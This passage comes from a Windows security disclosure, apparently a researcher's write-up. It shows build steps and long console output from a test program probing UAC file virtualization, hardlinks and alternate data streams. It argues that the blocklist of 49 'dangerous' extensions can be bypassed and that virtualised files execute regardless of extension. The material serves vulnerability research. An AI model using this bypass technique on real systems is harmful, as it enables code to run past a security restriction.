    File 'C:\Windows\system32\Quirk20.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.efi'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.efi'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.efi'
    Hardlink 'C:\Windows\system32\Quirk20.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.efi' started as process 7800 with primary thread 13080
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.efi'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.efi'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.exe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.exe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.exe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.exe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.exe'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.fon'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.fon'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.fon'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.fon'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.fon'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.hlp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hlp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hlp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.hlp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hlp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.hta'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hta'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hta'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.hta'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.hta'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.ime'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ime'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ime'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.ime'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ime'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.inf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.inf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.inf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.inf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.inf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.ins'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ins'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ins'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.ins'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ins'
    File 'C:\Windows\system32\Quirk20.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk20.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.iso'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.iso'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.iso'
    Hardlink 'C:\Windows\system32\Quirk20.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.iso' started as process 11284 with primary thread 4168
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.iso'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.iso'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.isp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.isp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.isp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.isp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.isp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.its'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.its'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.its'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.its'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.its'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.js'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.js'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.js'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.js'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.js'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.jse'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.jse'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.jse'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.jse'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.jse'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.lnk'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.lnk'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.lnk'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.lnk'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.lnk'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.msc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.msc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msc'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.msi'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msi'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msi'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.msi'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msi'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.msp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.msp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.msp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.mst'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mst'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mst'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.mst'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mst'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.mui'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mui'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mui'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.mui'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.mui'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.nls'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.nls'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.nls'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.nls'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.nls'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.ocx'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ocx'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ocx'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.ocx'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ocx'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.pif'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.pif'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.pif'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.pif'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.pif'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.reg'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.reg'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.reg'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.reg'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.reg'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.scr'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.scr'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.scr'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.scr'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.scr'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.sct'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sct'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sct'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.sct'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sct'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.shb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.shb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shb'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.shs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.shs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.shs'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.sys'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sys'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sys'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.sys'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.sys'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.tlb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tlb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tlb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.tlb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tlb'
    File 'C:\Windows\system32\Quirk20.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk20.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.tmp'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.tmp'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.tmp'
    Hardlink 'C:\Windows\system32\Quirk20.tmp' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.tmp' started as process 7860 with primary thread 12028
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.tmp'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.tmp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.tsp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tsp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tsp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.tsp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.tsp'
    File 'C:\Windows\system32\Quirk20.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk20.ttf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.ttf'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.ttf'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.ttf'
    Hardlink 'C:\Windows\system32\Quirk20.ttf' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.ttf' started as process 11116 with primary thread 1524
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.ttf'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.ttf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.url'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.url'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.url'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.url'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.url'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.vb'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vb'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vb'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.vb'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vb'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.vbe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.vbe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbe'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.vbs'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbs'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbs'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.vbs'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.vbs'
    File 'C:\Windows\system32\Quirk20.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk20.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.wll'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.wll'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.wll'
    Hardlink 'C:\Windows\system32\Quirk20.wll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.wll' started as process 13928 with primary thread 9784
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.wll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.wll'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.wsc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.wsc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsc'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.wsf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.wsf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.wsh'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsh'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsh'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.wsh'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.wsh'
    File 'C:\Windows\system32\Quirk20.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk20.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk20.xll'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk20.xll'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk20.xll'
    Hardlink 'C:\Windows\system32\Quirk20.xll' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk20.xll' started as process 8184 with primary thread 3232
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk20.xll'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk20.xll'
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OOPS: File Virtualisation fails with Win32 error code 5 alias ERROR_ACCESS_DENIED at least for the 49 extensions .acm, .asa, .asp, .ax, .bat, .chm, .cmd, .cnt, .cnv, .com, .cpl, .crt, .dll, .drv, .exe, .fon, .hlp, .hta, .ime, .inf, .ins, .isp, .its, .js, .jse, .lnk, .msc, .msi, .msp, .mst, .mui, .nls, .ocx, .pif, .reg, .scr, .sct, .shb, .shs, .sys, .tlb, .tsp, .url, .vb, .vbe, .vbs, .wsc, .wsf and .wsh!

    Note: I suspect that the developers who built this list of dangerous extensions will be surprised to learn that black listing is doomed to fail!

    OUCH: (intentionally here only) indicated by the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT, at least the Win32 functions CreateProcess() and LoadLibrary() load (and execute) virtualised files, independent of their extension!

    OOPS: contrary to the statements cited above, hardlinks of (executable) files can be created with arbitrary extensions!

    Oops: access to hardlinks with dangerous extensions but fails with either the wrong Win32 error code 2 alias ERROR_FILE_NOT_FOUND or the wrong error code 126 alias ERROR_MOD_NOT_FOUND instead of the appropriate error code 5 alias ERROR_ACCESS_DENIED!

  4. Build the 32-bit console application quirk20.exe from the source file quirk20.c created in step 1. again, now with the preprocessor macro ADS defined:

    SET CL=/DADS /GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE quirk20.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk20.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk20.exe
    quirk20.obj
  5. Start the console application quirk20.exe built in step 4. to demonstrate the first bug:

    .\quirk20.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateDirectory() returned error 267 for directory 'C:\Windows\system32:Quirk20'
    File 'C:\Windows\system32:Quirk20.acm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.acm'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.acm'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.acm'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.acm'
    File 'C:\Windows\system32:Quirk20.asa' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.asa'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.asa'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.asa'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.asa'
    File 'C:\Windows\system32:Quirk20.asp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.asp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.asp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.asp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.asp'
    File 'C:\Windows\system32:Quirk20.ax' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.ax'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.ax'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.ax'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.ax'
    File 'C:\Windows\system32:Quirk20.bat' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.bat'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.bat'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.bat'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.bat'
    File 'C:\Windows\system32:Quirk20.chm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.chm'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.chm'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.chm'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.chm'
    File 'C:\Windows\system32:Quirk20.cmd' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.cmd'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.cmd'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.cmd'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.cmd'
    File 'C:\Windows\system32:Quirk20.cnt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.cnt'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.cnt'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.cnt'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.cnt'
    File 'C:\Windows\system32:Quirk20.cnv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.cnv'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.cnv'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.cnv'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.cnv'
    File 'C:\Windows\system32:Quirk20.com' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.com'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.com'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.com'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.com'
    File 'C:\Windows\system32:Quirk20.cpl' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.cpl'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.cpl'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.cpl'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.cpl'
    File 'C:\Windows\system32:Quirk20.crt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.crt'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.crt'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.crt'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.crt'
    File 'C:\Windows\system32:Quirk20.dll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.dll'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.dll'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.dll'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.dll'
    File 'C:\Windows\system32:Quirk20.drv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.drv'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.drv'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.drv'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.drv'
    File 'C:\Windows\system32:Quirk20.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.efi'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.efi'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.efi'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.efi'
    File 'C:\Windows\system32:Quirk20.exe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.exe'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.exe'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.exe'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.exe'
    File 'C:\Windows\system32:Quirk20.fon' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.fon'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.fon'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.fon'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.fon'
    File 'C:\Windows\system32:Quirk20.hlp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.hlp'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.hlp'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.hlp'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.hlp'
    File 'C:\Windows\system32:Quirk20.hta' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.hta'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.hta'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.hta'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.hta'
    File 'C:\Windows\system32:Quirk20.ime' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.ime'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.ime'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.ime'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.ime'
    File 'C:\Windows\system32:Quirk20.inf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.inf'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.inf'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.inf'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.inf'
    File 'C:\Windows\system32:Quirk20.ins' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk20.ins'
    CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk20.ins'
    LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk20.ins'
    DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk20.ins'
